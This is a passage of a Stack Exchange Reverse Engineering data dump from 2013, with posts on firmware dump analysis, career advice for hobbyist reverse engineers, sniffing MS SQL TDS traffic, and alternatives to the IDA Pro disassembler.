LastActivityDate="2013-04-19T04:14:51.900" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1809" PostTypeId="2" ParentId="1804" CreationDate="2013-04-16T20:26:33.787" Score="4" Body="&lt;p&gt;As 0xC0000022L already stated, strings is really the first step. Since this is a dump you obtained directly from the flash chip, there should be &lt;em&gt;some&lt;/em&gt; readable strings (such as those from the bootloader for example), unless it is encrypted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned it's a PPC based device, so you can also search for common PPC opcodes (binwalk can do this, specify the -A option); you should see at least some opcodes pop out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to check is the entropy of the binary data (binwalk's -E option can do this, as can many other tools). It is typical for firmware to have certain sections (such as the kernel and file system) compressed, and this will show up as separate, very high entropy sections inside the firmware image. Strings and code have a medium-ish entropy. Encrypted data has very high entropy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hardware of the device can give you a bit of a clue as well. Devices with very little flash storage (say, 2MB or less) are unlikely to be running a large OS such as Linux for example; they are probably running a smaller RTOS of some kind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to take into account is how you dumped the flash, what type of flash chip it is, and the flash chip's data bus. Parallel flash chips operating in 16-bit mode on little-endian systems for example have every two bytes flipped. So the string &quot;ABCD&quot; would be read out as &quot;BADC&quot; if you did a raw read of the chip in 16-bit mode. This would obviously mess up any signature-based analysis and cause strings to look oddly familiar yet simultaneously unreadable.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2013-04-16T20:26:33.787" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1810" PostTypeId="5" CreationDate="2013-04-16T22:31:04.297" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-04-16T22:31:04.297" LastActivityDate="2013-04-16T22:31:04.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1811" PostTypeId="4" CreationDate="2013-04-16T22:31:04.297" Score="0" Body="For question related to the Solaris Unix operating system running on SPARC and Intel IA-32 (x86 and x64)." OwnerUserId="245" LastEditorUserId="142" LastEditDate="2013-04-17T00:36:44.210" LastActivityDate="2013-04-17T00:36:44.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1812" PostTypeId="1" AcceptedAnswerId="1813" CreationDate="2013-04-16T23:13:49.257" Score="27" ViewCount="4615" Body="&lt;p&gt;I'm currently a high school sophomore. I haven't really done much on the RCE of malware, I've unpacked &lt;code&gt;zbot&lt;/code&gt; and &lt;code&gt;rbot&lt;/code&gt;, and looked at how they work, but I can manipulate practically any game to my liking by reverse engineering it and finding out which functions I need to detour, or what addresses of code I need to patch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I've read on the &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/&quot;&gt;/r/ReverseEngineering&lt;/a&gt;, I should create a blog, but what do what do I write on the blog? Do I just detail how I hacked the game? Or must it be purely reversing of malware?&lt;/p&gt;&#xA;" OwnerUserId="266" LastEditorUserId="266" LastEditDate="2013-04-17T05:41:02.407" LastActivityDate="2013-04-18T13:29:51.827" Title="How do I move from RCE being a hobby to RCE being a profession?" Tags="|career-advice|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1813" PostTypeId="2" ParentId="1812" CreationDate="2013-04-16T23:33:20.027" Score="22" Body="&lt;p&gt;Someone who does RCE as a hobby and has gathered a lot of experience and hones his/her skills with it can arguably be more experienced than someone doing it for a living but only occasionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put: to make it a profession (i.e. what you do for a living), take up a job which requires (and subsequently fosters) your RCE expertise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And no, by no means do you have to reverse engineer malware in order to be considered a reverse engineer. For all practical purposes in the scope of this site even people reverse engineering household electronics or other consumer goods are just that: reverse engineers. Malware is but one field of expertise within the niche subject of RCE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there are loads of fields within RCE. Heck, have a look on &lt;a href=&quot;https://reverseengineering.meta.stackexchange.com/&quot;&gt;meta.RE.SE&lt;/a&gt; to see what some want to be within the scope of this site and others don't (and participate, please!). Given that by comparison the RCE community is a relatively small one, I don't think anyone will look down on you for being a beginner or specializing in this or that. Instead, I reckon, you'll be welcomed and the only expectation is the willingness, ability and - yes - &lt;strong&gt;eagerness&lt;/strong&gt; to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no clear line between the amateur and the professional, which I gather is what your question is all about. Except if you consider that someone makes a living from his reverse engineering skills as that line. But I think anyone with a high enough experience/skill level has to be considered a professional based on that experience/skill - not based on how s/he makes his/her living.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And no, you don't &lt;em&gt;need&lt;/em&gt; a blog.&lt;/strong&gt; But don't let that keep you from creating one. A blog, especially if you are a student, can be a good reference for potential future employers. So if you choose a more serious nickname than I chose here on SE, if you keep the topics and language in your blog posts professional and refrain from leet-speak, you will not only gather followers within the RCE community, you'll also show what you are capable of. And that last part is what sets the professional seasoned reverse engineer apart from the amateur or beginner: &lt;strong&gt;experience, loads and loads of experience.&lt;/strong&gt;&#xA;Communities such as this one, &lt;a href=&quot;http://www.openrce.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenRCE&lt;/a&gt;, &lt;a href=&quot;http://www.kernelmode.info/forum/&quot; rel=&quot;nofollow noreferrer&quot;&gt;kernelmode.info&lt;/a&gt;, &lt;a href=&quot;http://www.woodmann.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Woodmann&lt;/a&gt; will give you a wealth of information. Crackmes and Reversemes can provide a playful incentive to improve your knowledge/skills/expertise and your blog is the shop window out into the world through which &lt;em&gt;you&lt;/em&gt; show what you can offer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hint: advertise your blog on your profile here and make sure to answer and/or ask questions so that people click your profile. This should get your blog a following that knows the subject matter and will be able to comment and otherwise interact with you.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since I work in the anti-X industry, currently AV, I thought I should perhaps add a few remarks concerning that particular field, since you mentioned the reverse engineering of &lt;a href=&quot;/questions/tagged/malware&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;malware&amp;#39;&quot; rel=&quot;tag&quot;&gt;malware&lt;/a&gt; in your question.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;If you want to work in the anti-X industry&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1814/245&quot;&gt;Rolf already pointed you&lt;/a&gt; to: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;Where can I, as an individual, get malware samples to analyze?&lt;/a&gt; So I'll leave it at excellent question, excellent answers for that one. Here follow my remarks&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;A career in AV&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;most AV companies will not hire anyone who &lt;em&gt;wrote&lt;/em&gt; malware. Some, as far as I know, did in the past. However, this only fosters the urban myth that we're writing the malware ourselves. I can tell you that we really don't have to - the commercialized malware &lt;em&gt;industry&lt;/em&gt;, yes &lt;em&gt;industry&lt;/em&gt;, does a pretty good job at it and we try hard to keep up. However, there is truth in that urban myth in that one of the - if not &lt;em&gt;the&lt;/em&gt; - first AV vendor (I want give names!) offered bounties for new malware. Well what's the easiest way of getting a bounty if the few available samples are all &lt;em&gt;known&lt;/em&gt;? Uh huh, writing your own and submitting it to cash the bounty ...&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some companies will &quot;tone it down&quot; to&quot; &lt;em&gt;we will not hire anyone who wrote malware and is stupid enough to admit it - if s/he wrote one and we find out, we'll fire that person on the spot.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;analyzing malware requires some specializations that you won't have in other RCE topics. If you specialize in kernel mode malware, you are fairly specialized but there will be demand for people with these skills. Still most of the generic methodologies in RCE are applicable for malware - after all reversing malware is a subset of RCE as a whole.&lt;/li&gt;&#xA;&lt;li&gt;some analysts in AV labs won't have the expertise and skills to work with &lt;a href=&quot;/questions/tagged/disassembly&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;disassembly&amp;#39;&quot; rel=&quot;tag&quot;&gt;disassembly&lt;/a&gt;, for example. Some know a few basics, for some that all stopped back in DOS times (i.e. they will be able to use good ol' &lt;code&gt;debug&lt;/code&gt; on a &lt;code&gt;.com&lt;/code&gt; file and that's it) and others will specialize in malicious scripts and not need that skill set at all. Also many malware families these days can be identified by traits that don't require going into the nitty gritty.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Literature I find/found useful before and during my career&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Rootkit Arsenal&lt;/li&gt;&#xA;&lt;li&gt;Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software&lt;/li&gt;&#xA;&lt;li&gt;Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code&lt;/li&gt;&#xA;&lt;li&gt;Rootkits: Subverting the Windows Kernel&lt;/li&gt;&#xA;&lt;li&gt;The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler&lt;/li&gt;&#xA;&lt;li&gt;Gray Hat Python: Python Programming for Hackers and Reverse Engineers&lt;/li&gt;&#xA;&lt;li&gt;The Art of Computer Virus Research and Defense (classic, but a bit outdated, still good reading)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-17T01:19:43.890" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1814" PostTypeId="2" ParentId="1812" CreationDate="2013-04-16T23:35:48.493" Score="23" Body="&lt;p&gt;First of all, take heart.  The skills you describe with game hacking will serve you very well in a career in reverse engineering.  If you can do what you describe, you're off to a great start, and I imagine that many jobs would be available to you merely on that basis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now you run into the problem that confronts many hobbyist reverse engineers wanting to go professional:  your expertise is kind of dirty.  Take heart on this point too, as many hobbyists (e.g., crackers) face an even worse version of this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short version is that you need to parlay your existing skills into producing publications that won't get you sued or arrested.  Leave the dirt behind; at least, don't publish it.  I'm sure there are freeware, abandonware, and/or single-player, etc. games that you can hack that won't raise any hackles.  Publish things like this on a blog and/or at conferences using your real name, and submit them to the &lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reverse Engineering reddit&lt;/a&gt; to gain some exposure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another piece of advice I can offer is to leverage your connections.  It's not impossible that some of the people you know in the game hacking scene are doing that as a hobby, whereas their professional employment is already in computer security.  Ask those people for help, and be prepared to repay favors if they can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, seeing as most jobs in reverse engineering don't involve hacking games explicitly (although similar skills will be utilized), it makes sense to branch out into the other parts of reverse engineering and show employers that you can in fact do those things too.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the malware side, there are never legal concerns.  See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;this question&lt;/a&gt; for places to get malware samples; bonus points if you publish your analyses in a timely fashion.  For this, I recommend following the anti-virus industry on twitter and seeing what the latest threats are, or worm your way into one of the good-old-boy anti-virus sample sharing mailing lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vulnerability analysis might get you sued, but that happens infrequently.  Be judicious, practice responsible disclosure, and maybe use a service like &lt;a href=&quot;http://www.zerodayinitiative.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ZDI&lt;/a&gt; or &lt;a href=&quot;https://www.exodusintel.com/eip/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EIP&lt;/a&gt; if you're extremely concerned about the risks associated with disclosure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, employers in this space are more concerned with skills than they are with degrees and so on.  So if you apply for a reverse engineering position somewhere, most likely what will happen is that they will give you some sort of challenge to determine whether you have the necessary skills.  Therefore, don't be discouraged about applying to jobs if you haven't published anything; doing well on the interview challenges is looked upon very highly for obvious reasons.  Nevertheless, I still recommend publication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary:  ask your game hacking buddies if they do RE professionally; publish, but don't publish dirt; diversify; and apply for jobs regardless of what the state of your published work is.&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-17T00:16:04.040" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1815" PostTypeId="2" ParentId="171" CreationDate="2013-04-17T00:41:50.033" Score="3" Body="&lt;p&gt;There is nothing wrong with using &lt;a href=&quot;http://wiki.wireshark.org/Protocols/tds&quot; rel=&quot;nofollow&quot;&gt;the TDS protocol decoder that comes with WireShark&lt;/a&gt;, assuming the connection is established via something that can be sniffed by WireShark. This is &lt;strong&gt;a specialized protocol decoder for &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc448435.aspx&quot; rel=&quot;nofollow&quot;&gt;TDS&lt;/a&gt;&lt;/strong&gt; so I am not sure what you mean by:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that it may be possible to use Wireshark to view the&#xA;  network traffic, but it feels quite clumsy so I am looking for&#xA;  something more specialized for this purpose.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you want to get your hands dirty you can write a proxy based on &lt;a href=&quot;http://www.freetds.org&quot; rel=&quot;nofollow&quot;&gt;FreeTDS&lt;/a&gt;. The perhaps biggest problem seems that either this project is now mature or abandoned. The &lt;a href=&quot;http://freetds.cvs.sourceforge.net/viewvc/freetds/freetds/src/pool/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;tdspool&lt;/code&gt;&lt;/a&gt; program is probably your best point to start if you wanted to write a proxy. But it's possible you could coerce jTDS into doing what you want (from a casual reading of the source code it doesn't seem to be as good a starting point as the &lt;code&gt;tdspool&lt;/code&gt; program).&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2013-04-17T00:41:50.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1816" PostTypeId="2" ParentId="1617" CreationDate="2013-04-17T00:43:33.840" Score="6" Body="&lt;h1&gt;Sniffing traffic only ... is easy&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you merely wanted to sniff the traffic you could &lt;a href=&quot;http://wiki.wireshark.org/Protocols/tds&quot; rel=&quot;nofollow noreferrer&quot;&gt;use the TDS protocol sniffer&lt;/a&gt; that comes with &lt;a href=&quot;http://www.wireshark.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;WireShark&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Let the laziness guide you - laziness is the reverser's &lt;em&gt;friend&lt;/em&gt;&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Listening to pipes or TCP/IP is not an option at this moment; I would&#xA;  like to inject at a higher level, preferably at SQLOS-component level.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know why you insist on doing this a particular way when all information is readily available and all you need to do is put the jigsaw pieces together. This would seem to be the easiest, fastest - in short: laziest - method. Besides TCP/IP &lt;em&gt;is&lt;/em&gt; the higher level, because you can intercept it even before it reaches the actual SQL server &lt;em&gt;machine&lt;/em&gt; if you can hijack the IP/name of the SQL server and put a &quot;proxy&quot; in between. How &lt;em&gt;high level&lt;/em&gt; do you want it? What you insist on is actually drilling down into the lower level guts of the MS SQL Server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MS SQL Server uses a &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc448435.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;documented protocol&lt;/a&gt; and using &lt;a href=&quot;http://www.microsoft.com/msj/0599/LayeredService/LayeredService.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;an LSP&lt;/a&gt; you should/would be able to sniff, intercept and even manipulate that traffic. As far as I recall LSPs run within the process space of the application whose traffic they're filtering. You can consider them a makeshift application-level firewall, literally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively - and probably the better choice anyway - you could write a proxy based on the existing and free &lt;a href=&quot;http://www.freetds.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;FreeTDS&lt;/a&gt; (licensed under LGPL). The &lt;a href=&quot;http://freetds.cvs.sourceforge.net/viewvc/freetds/freetds/src/pool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tdspool&lt;/code&gt;&lt;/a&gt; program would be a good point to start this endeavor. And yes, this should be suitable for actual &lt;em&gt;interception&lt;/em&gt;, not just sniffing forwarded traffic. You can use the library (FreeTDS) to decode and re-encode the queries. That library would also be the one to use inside your LSP, obviously.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll save the time to go into details of the disassembly, although I installed MS SQL Server 2008 and briefly looked at it in IDA Pro. &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/1778/245&quot;&gt;Brendan's answer&lt;/a&gt; provides a good overview, even if I disagree with this overly involved method where an easier one is available. But then, &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1617/245&quot;&gt;you (Hernán) asked for it.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-04-17T00:49:39.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1817" PostTypeId="1" AcceptedAnswerId="1821" CreationDate="2013-04-17T00:59:59.900" Score="337" ViewCount="421819" Body="&lt;p&gt;Is there any disassembler (not only a live debugger) second to IDA in capabilities? IDA is wonderful, and somewhat amazing in how robust and useful it is for reversing. However, it is quite expensive to properly license. Is there &lt;em&gt;any&lt;/em&gt; viable alternative, or does IDA hold the monopoly on this market?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't expect an alternative to be as good as IDA, just looking for other options that may be more affordable, and useful &lt;em&gt;enough&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Preferrably, multi-platform support should exist, though that's optional. MIPS, ARM, x86, and x86-64 would be nice, but a disassembler that handles any one of those is a good option to know about.&lt;/p&gt;&#xA;" OwnerUserId="1563" LastEditorUserId="117" LastEditDate="2015-02-26T21:33:42.157" LastActivityDate="2023-04-05T15:18:50.313" Title="Is there any disassembler to rival IDA Pro?" Tags="|tools|ida|disassemblers|" AnswerCount="16" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1818" PostTypeId="2" ParentId="1817" CreationDate="2013-04-17T01:21:49.427" Score="10" Body="&lt;p&gt;I have been using &lt;a href=&quot;http://www.hopperapp.com/&quot;&gt;Hopper&lt;/a&gt; recently, and while it is not up to the level IDA is, it's really surprisingly sophisticated, particularly considering what it costs. Its main platform is OS X, but there are versions available for Linux and Windows as well. The OS X version also has some gdb integration, so you can use it as a debugger.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2013-04-17T01:21:49.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1819" PostTypeId="2" ParentId="1817" CreationDate="2013-04-17T01:24:51.210" Score="59" Body="&lt;p&gt;If you were looking for a contender, I believe &lt;a href=&quot;http://debugger.immunityinc.com/&quot;&gt;ImmunityDebugger&lt;/a&gt; and &lt;a href=&quot;http://www.ollydbg.de/&quot;&gt;OllyDbg&lt;/a&gt; can compete &lt;em&gt;in part&lt;/em&gt; for &lt;a href=&quot;/questions/tagged/dynamic-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'dynamic-analysis'&quot; rel=&quot;tag&quot;&gt;dynamic-analysis&lt;/a&gt; and &lt;a href=&quot;http://www.hopperapp.com/&quot;&gt;Hopper&lt;/a&gt; &lt;em&gt;in part&lt;/em&gt; for &lt;a href=&quot;/questions/tagged/static-analysis&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'static-analysis'&quot; rel=&quot;tag&quot;&gt;static-analysis&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there is a big gap between the capabilities you get with the aforementioned software and IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro is pretty unique with its capabilities and if you add the Hex-Rays Decompiler Plugin into the equation, things look bleak for the wannabe contenders. However, for casual disassembly and even some decompiling Hopper seems a good choice for anyone not willing to shell out hundreds of bucks for IDA Pro. If you want a free ride, &lt;a href=&quot;http://radare.org/&quot;&gt;radare2&lt;/a&gt; is probably the next in line, but it takes some getting used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having gotten my first IDA Pro Standard license as a student I have to admit the price point is steep, but it's worth every penny. When I began to work professionally with RCE-related things I upgraded to the &quot;normal&quot; license first and later upgraded to IDA Pro Advanced to get the x64 support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind there is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot;&gt;a freeware version of IDA&lt;/a&gt; with license restrictions (but suitable for hobbyists or students) and restrictions of the capabilities.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="245" LastEditDate="2013-04-18T22:30:32.077" LastActivityDate="2013-04-18T22:30:32.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1820" PostTypeId="2" ParentId="1817" CreationDate="2013-04-17T01:30:45.277" Score="7" Body="&lt;p&gt;The first tool that comes to mind is &lt;a href=&quot;http://www.hopperapp.com/&quot;&gt;Hopper&lt;/a&gt;, which is no longer tied to OSX.  It has some debugging support(at least on OSX), but focuses on static analysis, which seems like what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has the ability to break basic blocks into a control flow graph, rudimentary decompilation support, and you can rename functions as you make sense of them.  Perhaps someone who uses it instead of IDA will chime in with a better comparison, I've only played around briefly.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, IDA's free version is rather capable and worth a look if you haven't tried it.&lt;/p&gt;&#xA;" OwnerUserId="283" LastEditorUserId="118" LastEditDate="2013-04-17T21:44:07.733" LastActivityDate="2013-04-17T21:44:07.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1821" PostTypeId="2" ParentId="1817" CreationDate="2013-04-17T01:31:38.120" Score="310" Body="&lt;p&gt;You didn't mention a platform (Windows, Linux, macOS, etc), but here are some great disassemblers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://ghidra-sre.org/&quot; rel=&quot;noreferrer&quot;&gt;Ghidra&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. Windows, Mac OS, and Linux.&lt;/p&gt;&#xA;&lt;p&gt;Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features. Ghidra supports a wide variety of process instruction sets and executable formats and can be run in both user-interactive and automated modes. Users may also develop their own Ghidra plug-in components and/or scripts using Java or Python.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://radare.org/y/&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Radare2 is an open source tool to disassemble, debug, analyze and&#xA;manipulate binary files.&lt;/p&gt;&#xA;&lt;p&gt;It actually supports many architectures (x86{16,32,64}, Dalvik, avr,&#xA;ARM, java, PowerPC, Sparc, MIPS) and several binary formats&#xA;(pe{32,64}, [fat]mach0{32,64}, ELF{32,64}, dex and Java classes), apart from support for filesystem images and many more features.&lt;/p&gt;&#xA;&lt;p&gt;It runs on the command line, but it has a graphical interface called &lt;a href=&quot;https://github.com/rizinorg/cutter&quot; rel=&quot;noreferrer&quot;&gt;Cutter&lt;/a&gt; that has support for some of its features already.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://binary.ninja/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Binary Ninja&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Binary Ninja is a reverse engineering platform. It focuses on a clean&#xA;and easy to use interface with a powerful multithreaded analysis built&#xA;on a custom IL to quickly adapt to a variety of architectures,&#xA;platforms, and compilers. Runs on macOS, Windows, and Linux.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.hopperapp.com/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Hopper&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hopper is a reverse engineering tool for macOS and Linux, that&#xA;lets you disassemble, decompile and debug (OS X only) your 32/64bits&#xA;Intel Mac, Windows and iOS (ARM) executables.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;x64dbg&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;An open-source x64/x32 debugger for windows.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.immunityinc.com/products/debugger/&quot; rel=&quot;noreferrer&quot;&gt;ImmunityDbg&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Immunity Debugger is a branch of OllyDbg v1.10, with built-in support&#xA;for Python scripting and much more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.heaventools.com/PE_Explorer_disassembler.htm&quot; rel=&quot;noreferrer&quot;&gt;PE Explorer's disassembler&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The PE Explorer Disassembler is designed to be easy to use compared&#xA;with other disassemblers. To that end, some of the functionality found&#xA;in other products has been left out in order to keep the process&#xA;simple and fast. While as powerful as the more expensive, dedicated&#xA;disassemblers, PE Explorer focuses on ease of use, clarity and&#xA;navigation.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.hiew.ru/&quot; rel=&quot;noreferrer&quot;&gt;Hiew&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hiew is a great disassembler designed for&#xA;hackers, as the name suggests. It supports three modes - Text,&#xA;Hexadecimal and Decode (Dis-assembly) mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.onlinedisassembler.com&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;ODA&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The Online Disassembler is a free web-based, reverse engineering platform that&#xA;supports over 60 architectures and object file formats from all the&#xA;major operating systems, including Windows, Mac OS X, Linux, and mobile&#xA;platforms.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.relyze.com/overview.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Relyze&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Relyze is a commercial interactive disassembler for x86, x64 and ARM&#xA;software with loaders for PE or ELF file formats. It supports&#xA;interactive flat and graph views of the disassembly, generating call&#xA;and reference graphs, binary diffing two executables, exploring the&#xA;executable file's structure and a Ruby plugin API. It can also handle&#xA;things like symbols (PDB's), function local variables, switch&#xA;statements, exception handlers, static library identification and&#xA;more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2020-12-28T18:00:15.190" LastActivityDate="2020-12-28T18:00:15.190" CommentCount="17" ContentLicense="CC BY-SA 4.0" />
